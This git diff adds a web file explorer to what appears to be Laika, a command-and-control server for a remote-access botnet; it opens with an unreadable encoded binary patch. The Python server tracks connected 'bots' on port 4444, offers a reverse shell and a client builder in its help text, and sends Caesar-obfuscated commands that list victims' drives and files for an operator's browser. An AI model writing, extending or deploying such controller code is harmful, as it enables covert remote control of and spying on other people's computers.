zU3&B+fFz>hVpZ&qd|w~bA~L{1x_JKK2Dx^}QdWqfl(?N*5__9uerXJbyMMGZF%csO zP~5Xsv<$5% zz&v8`6aOzD5vQu!Jsq&IE?RJpYmW$osNPz!gg-qOxW)9PaJnA7kwIqw>cKaRKi9)tM zJXYwCX|ao@%V`Pa04?hPHdf10OHL`U((Q5u=z3+`&*YgYfE`uw{2Vb>ihYn7r&DxK zh07I;(MJ6vfEk14o|(R;9HOeHkQ7`7KB`$Jw9eLsPY&9u%fB#~LoB>%i(PV99Hn^t zs|RMk)XSE#`}BQ`=kiYo^pe4ljb023%1U2)B{GOGOUeca1;!G0!P1He{~($>?kc=W zddlYR+{Q-A8c~0)F>PpY+)1JOxSEkSab3oU^!HiRrnH}&WzsnA9-$7hF*a^Q(O71jmq}LzC zmUBR^{et1aXfCCxNcEZaGFpcKY$5LP6B(A)ik0t$M-Ez}<^s;CEwU%lfV8#f@;9zbGkoWPcm59~0$-68RCFj>|D8Ez zh>+5Yt_F-|o{b4*_W)!etLl>@BXBQ28YcGG7@Z5H-pF%+5@AGGTSE=0zgCzT4Os4R z3PR2rOS24B96|tU@+QX0C(>iGBaRN-DK6@k04t$*Txhl!krHeiKeco;x}F{u7xUkaL0TG(z#0`0*dsFOlA17 zFihrD$Xja&Og8X5T@@_}DWYvUC!cIC_w|!#^)DV7Lw-0JdDot)dvQl+g8q0R*aux% zT4yKV;2SfN=wJ3A%Ow%|b+&lLy9}*0sliSr%KoJ04lSEl#Z5|H=*EN#HBTt{x6MX03W!4R_8N{&Z$gD^$lwR}5By7T8b2Gf7ANKN(6Nr%0T{6O9)P6OE zESC(&B*=%VwcvXP{Ux!gL@ugDxYB~99!QV7qm$~qFirwmP82(4`3J*SRC%x6Q#iQf z&=;)3+&yJQl`W+!4o-;+A>U^;op(bbvcIz7S$Ar^51AsBRR>0I7(BC1IFKsJAXV%B z+0NY@Hx@B@Dj|O#=T)AH4Weo;c)R9`ux}JKol8oi@Z1QaMLN%~sBobpn>DPex^p9= zqHS&R{9Ps;-EAoiXNd!!ceqOtuVrGz3`$}S6T^j>Ge7PTN1M5eF(tuz>W>>&YkcTN z33z1!YQCP&#o3NqXdj8Mjh!1jvfJH5;Y!THo&iBEX^0Ku-bZc~x_W^J(UZwK&h1Bf zP%#uezj_faTe+RC?BjqL6rDd#@agZmObXb0?%ZyIC{di>;;s=^H)?xm&^Q`ttYG_0 zLuZskgU5TthouHje^Rn77ybgO&MVwyt%S;U;9=-@jvELuQ?0ixyYtcO4;Oy9})|4U%%Q}Dh(TQ--|76#u-_X|9;*$0GB-c0$?hudB$$*pm~J-wXbR4a}+j0yk!;`S#HAL5ZjArB{H z2N!g8xI5__h&r^Wy01Ef34wV@?48*lL&ppILc7meWpn(Qdkchp=ukUYSogz8_ecna zuuz|bf=`H~!Eq2A9d2PyixiinhFkO?h`FEw)veJXx@1aaQ4ERFY-^bn+$UWxpE3wx zjFQ^TtSe_AyovH_k-J*S;RQrm+2Q(;!!>L!^z-)6ruMbBF$$F4QIntL5=C-fdQ{REcYB9cIttPE!gOBwGhdl}voOmfgnOC1MK z{yu0v_!L%T2$=%6ZA|ylmJGUqbtdYzrSs&`&qAse$I2eTs7`?ZC$nb>7jj@6YlhTv z4PX@-%ZS!4W4g(Y_N@EbOT>oz&EcHhH)vVirx?vLw?Tk6p>arYqmrDEW zN+LNe``mW|IEz`47NWrIwbZY!lJdo4s{0}~%=R3`=UWc=_FdpSRue>anf8RDbzuc` zm$+3^oul@SSW1*6O`o%ivS~D7%4{hOMq8~wc%7iQ8wmwh8^&gJiuV$a1zip4d*W; zb0EVJn5W*{d_x^I*d!pkVXQ94{n0IinuL`UA^(zo=6~x8t}_WGwO$QA1$Z)IZhIt* z<@vy1<$S2$5ky%=-4;4};jaa)pI1|rx*JobW<6*$zN6E^tUGryiuatOHW;gW1fKLIizT4h)v(s0W z>y}+q+5MQ}xjdG+rig`!b69Uf#%7gwKqiFMpS(_ULy47TW>KN6d*0_M?hkM%gWFa_ z12Dc5X8ER@B^Cu|3&ljBujPPGzuMMK=Jfh~^3hX^l)5MV{M0d9rY3c8O3mCr%i|?e z@gl*y<{n$1#R<3*?VgkS7oY?pv}Fo)b;>GI+J>2-57rMYNC2JMqCnqgH78w8OL)YD z>(T>VL(_?(NvCn9{F@foEO;?*TCMsQU=(5~vQ6GjX$i#1f18wQCMA=)leueC1m+jD z$NUP{$vYgv$3}$A+=zV$F+Z4lbc`xUpDxJa<$-N1`Xd45=wH;UWadzGl|Lw!f~4P7pu+?kVHn1gTy9DLB-!(YO-l%&xu zORo*@5X>>% zJOh#T+X}BuE9x4inF*xg*dD9T8kj^QPq<~f@gseRl-rlX{79I!qKaNbJwdT(jk|sL z?&BF}54K_3{gPVT#^kEXa!jZ*>6HKZ%lJHXYFj;Y{HSu8;R)|4Xx#o}zQ%VFILi_w z1iC7e@@uP2m7*!Z85!LwECMDz=*UR3NRusr^DHLqYR6aM?$WG=!=xxq?gR47m|dyA ztDRfx$GE$^FD#0Kx_g@j=S<{%&z~SV9wC%P+!nuHNhNG^AGTJ@79EteaC2BerJ`6M8r%bRV+ zr)QjBe2WlUDMARox{}VpzSXv>G*m808`cBtO=@5^Y-m3A{XN2;jeb~pVr&^j3X3Y7n!$K~KqD_=g$1A;DJs2a zfo_#I`*aL|_hQ28Vc`Jtu?;;&hK?o1F@NERgo7@K|L!xAJR=IlD*omp~1 z5ciM|EVfnY6L$KV-i{TuEv)=3WHPlNMhtW!_vVAIs|73W?Z^5!75eX2b7{Z|siwxv zIxBm<)2o`PB1^3du+<3VrE@Ky7((y>{uDp%EE>L}NeZ< zyT`aT3qQ$9)9%HTAj#Y^tJa(fX_`&~=-{Qd7k{L50*g)*8k9O#>JtUTP{5kZ$Ji+l zg|cAjfxpW#y&glGLB~8Ich3G9o)^B(hVamZmzMg}AWBG_rc3X@OrFUeoWmVL{FB2#pMMSdxD;~U@< z-38o+ls#e)abngIk(b#6Zd(|3hKZ}?le02)Z^QU1Z$H{rCl=GmIG%c8Y$!BU--GwC zlJ^|mgnFI7t3J8X9!5+~1`kfT(%ygu(wrinN~#2~!rS7`vb<#Gd~Q7YGLsV_<{(T0 zoI|P`J#m*Gr`?iy+>o+I9!MU?3#2bCrwE8UUIBAF?jwL0Xh4d)J+=@;KN}?l zsbOcjrO%nD@rW<7>;loX@A*FusPT%b?1Q--56|Oa+zDZA_6W5CFVxIO(xYMFiqb|h z!jX#nP3G%5x!fXYB^7T2KX2|c%kDE}j0_6j{1clkss2D+qx%Nj8mTkGJFUWNXs0`x z6&Yc6%VWk8!Z?luLP!Lf8^DN_C9j&#A6_({##r^f4@a_8mOQ3Tx2APDrawH8k+XhS z`I}ot(yLnuSWri~SEbxI-QyvYL@XbCjx>2O)!qQFct2`X+#M6M{f%vt!f{)?*o#cC zsT;q3KVqP8+gMQyW+_L%!FCj&z7GbYe1Lk8KL7CvpfPVO7Jr^EkAKDDH6>r;r_ zBWuOrr~uOP;=R3zT+;x?m3_j>tlG*>o7c))9}7T-Dz(AU2-H0WL>4A-uw;U{TWcq<5olKfjV3XX8g3e2WvlhM zoFM$|?q;3Y$ZUD(qv4pD0WjU5hSST2)&HDk(S$!Xyr@;Otf&9OCV`(MGjFpQlg`~g zMC$_K01R$e_7#*w<)Ch5Y<|bAbUI`L*Ihc_O+IBuwC)9}AK%f607V>4RY;<^oJUB)J|Qk`{FqqG@=I1BK|KPTt@3 F{{vj*kBa~R literal 0 HcmV?d00001 diff --git a/Server/FileExplorer/index.html b/Server/FileExplorer/index.html new file mode 100644 index 0000000..19f9bd5 --- /dev/null +++ b/Server/FileExplorer/index.html @@ -0,0 +1,89 @@ + + + + Laika - File Explorer + + + + + + + + + +
+ + Spike + + +
+ +


+ + + + + + + + +
NomModifié leTaille
+ + + + diff --git a/Server/FileExplorer/style.css b/Server/FileExplorer/style.css new file mode 100644 index 0000000..60eca88 --- /dev/null +++ b/Server/FileExplorer/style.css @@ -0,0 +1,95 @@ +#spike { + float: left; + border-style:solid; + border-color:#0004ff; + border-width: 1px; + width: 8%; + height: auto; +} + +/* unvisited link */ +a:link { + color: #FFFFFF; +} + +/* visited link */ +a:visited { + color: #FFFFFF; +} + +/* mouse over link */ +a:hover { + color: #5660f1; +} + +/* selected link */ +a:active { + color: #686bff; +} + +.header { + width: auto; + height: auto; + overflow:auto; + background-color: rgba(18,24,217,0.5); + top: 0; + left:0px; + right:0px; +} + +.menu { + font-weight: bold; + float: left; + margin-top: 5.2%; + margin-left: 0.5%; +} + +body { + background: url(../images/bg.gif) repeat 0 0; + color: white; +} + +p { + font-size: large; + margin-left: 3px; + margin-bottom: -5px; +} + +a { + overflow: hidden; + font-size: 150%; +} + +#titre { + position: relative; + left: 75%; + top: -20px; + margin-top: -7%; +} + +td, th { + border: 1px solid #dddddd; + text-align: left; + padding: 8px; +} + +th { + text-align: center; +} + +td:nth-child(1) { /* targets the first column */ + cursor: pointer; + margin-left: 20%; +} + +td:nth-child(1):hover { + color: #5660f1; +} + +td:nth-child(2) { /* targets the second column */ + text-align: center; +} + +td:nth-child(3) { /* targets the third column */ + text-align: right; +} diff --git a/Server/Server.py b/Server/Server.py index 3d825d2..2b0cddc 100644 --- a/Server/Server.py +++ b/Server/Server.py @@ -1,10 +1,13 @@ from colorama import Fore, Style from prettytable import PrettyTable from geoip import geolite2 +from flask import Flask, request, send_file, render_template, send_from_directory, jsonify from threading import Thread import os, sys, time import select import socket +import logging +import urllib.parse ADRESSE = "192.168.1.35"#socket.gethostname() PORT = 4444 @@ -38,6 +41,92 @@ def CAESAR_DECRYPT(in_s: str) -> str : r+=" " return r +app = Flask(__name__) +# Disable Flask's default logging +#log = logging.getLogger('werkzeug') +#log.disabled = True + +@app.route('/') +def serve_file(filename): + file_path = os.path.join(app.root_path, 'FileExplorer', filename) + return send_from_directory(os.path.dirname(file_path), os.path.basename(file_path)) + +@app.route('/') +def index() : + index_path = os.path.join(os.getcwd(), 'FileExplorer/index.html') + return send_file(index_path) + +path_file_ex = "" +@app.route('/get_data', methods=['POST']) +def get_data() : + global path_file_ex + data = [] + + got_path = request.get_data().decode("latin-1") + got_path = urllib.parse.unquote_plus(got_path) + if got_path and got_path != "{}" : + got_path = got_path.replace("","").replace("","").replace("folder_path=","") + + if got_path == ".." : + folders = path_file_ex.split("/") + if folders != [".."] and folders != [""] : + folders.pop() + folders.pop() + path_file_ex = '/'.join(folders) + if path_file_ex != "" : + path_file_ex += "/" + else : + path_file_ex += got_path + "/" + + i = -1 + print(path_file_ex.split("/")) + + if CONNECT_CLIENTS != [] : + data.append({"url" : f"..", "modified":"", "size" : ""}) + + for client in CONNECT_CLIENTS : + i += 1 + if len(path_file_ex.split("/")) == 1 or path_file_ex == "" : + data.append({"url" : f"Client n°{i}", "modified":"", "size" : ""}) + continue + + if len(path_file_ex.split("/")) == 2 : + #getting drive letters + path_parts = path_file_ex.split("/") + client_num = int(path_parts.pop(0).replace("Client n°","")) + if client_num != i : continue + client.send(CAESAR("get_drives").encode()) + drives = recv_message_ret(client).decode("utf-8") + for d in drives : + data.append({"url": f"{d}", "modified": "", "size":""}) + continue + + else : + client.send(CAESAR("get_file_list").encode()) + path_parts = path_file_ex.split("/") + client_num = int(path_parts.pop(0).replace("Client n°","")) + if client_num != i : continue + path_parts[0] = path_parts[0] + ":" + path_file_ex_2 = '/'.join(path_parts) + client.send(CAESAR(path_file_ex_2 + "\0").encode()) + + files = recv_message_ret(client).decode("latin-1") + for f in files.split("/") : + f = CAESAR_DECRYPT(f) + #print(path_file_ex + f) + + client.send(CAESAR("get_obj_info").encode()) + + client.send(CAESAR(path_file_ex + f + "\0").encode()) + + infos = recv_message_ret(client).decode("latin-1") + #print(infos) + + data.append({"url": f"{f}", "modified": "", "size":""}) + + json_data = jsonify({"data":data}) + return json_data + def ban() : if is_linux_user() : os.system("clear") @@ -49,7 +138,7 @@ def ban() : print(Fore.RED + " / / / _` || || |/ // _` |") print(Fore.RED + "/ /___| (_| || || <| (_| |") print(Fore.RED + "\____/ \__,_||_||_|\_\\\__,_|") - print(Style.BRIGHT + Fore.GREEN +"Là où fini l'État, commence l'arc-en-ciel." + Fore.RESET + Style.RESET_ALL) + print(Style.BRIGHT + Fore.GREEN +"Là où finit l'État, commence l'arc-en-ciel." + Fore.RESET + Style.RESET_ALL) print("") def on_new_client() -> None : @@ -89,6 +178,24 @@ def update_title() -> None : os.system("title Laika ^| "+str(len(CONNECT_CLIENTS))+" bots - Selection : n°" + str(SELECTED_CLIENT)) time.sleep(2) +def recv_message_ret(client) : + message = "" + while True : + client.settimeout(0.1) + try : + message = client.recv(4096) + if CAESAR_DECRYPT(message.decode("latin-1")) == "done" : + break + except socket.timeout : + break + if not message: + break + + if client.gettimeout() == 0: + break + + return message + def recv_message(socket_object) -> bool: socket_object.settimeout(0.1) while True: @@ -109,15 +216,17 @@ def recv_message(socket_object) -> bool: def main() -> None : global SELECTED_CLIENT - ban() - THREAD_LIST.append(Thread(target = on_new_client, args = ())) THREAD_LIST.append(Thread(target = on_close_socket, args = ())) THREAD_LIST.append(Thread(target = update_title, args = ())) - + THREAD_LIST.append(Thread(target = app.run, kwargs = {"debug":False})) + for t in THREAD_LIST : t.daemon = True t.start() + + time.sleep(1) + ban() while True : cmd = input(Fore.LIGHTBLUE_EX +"-> " + Fore.RESET) @@ -131,6 +240,7 @@ def main() -> None : print("deselect : désélectionne le client précédemment séléctionné avec \"select\"") print("shell : ouvre un reverse shell dans le client précédemment séléctionné avec \"select\"") print("build : build un client") + print("fex : ouvre l'explorateur de fichiers") print("") elif cmd == "exit" : @@ -231,6 +341,10 @@ def main() -> None : client.send(CAESAR(command+"\n").encode()) print("\nSession terminée.") + + elif cmd == "fex" : + print("\nClique sur le lien ci-dessous pour voir le file explorer :") + print("http://127.0.0.1:5000") else : print("Commande non reconnue, \"help\" pour afficher la liste des commandes.")